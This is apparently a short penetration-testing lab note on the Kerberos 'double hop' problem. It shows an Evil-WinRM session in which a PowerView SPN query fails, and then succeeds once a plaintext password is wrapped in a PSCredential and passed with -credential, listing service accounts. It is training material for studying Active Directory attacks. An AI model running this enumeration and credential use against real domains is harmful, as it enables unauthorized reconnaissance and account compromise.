Kerberos Double Hop Problem

The Kerberos "Double Hop" problem appears when an attacker attempts to use Kerberos authentication across two hops, for example using PowerShell/WinRM.

When an authentication occurs through Kerberos, credentials aren't cached in memory. Therefore, if you run mimikatz you won't find credentials of the user in the machine even if he is running processes.

*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryServicesCOMException

*Evil-WinRM* PS C:\Users\backupadm\Documents> klist

Current LogonId is 0:0x57f8a

Cached Tickets: (1)

#0> Client: backupadm @ INLANEFREIGHT.LOCAL
    Server: academy-aen-ms0$ @
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
    Start Time: 6/28/2022 7:31:53 (local)
    End Time:   6/28/2022 7:46:53 (local)
    Renew Time: 7/5/2022 7:31:18 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x4 -> S4U
    Kdc Called: DC01.INLANEFREIGHT.LOCAL

Troubleshoot

*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents>  $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)

specifying the -credential flag

*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

Reference

Kerberos Double Hop ProblemHackTricks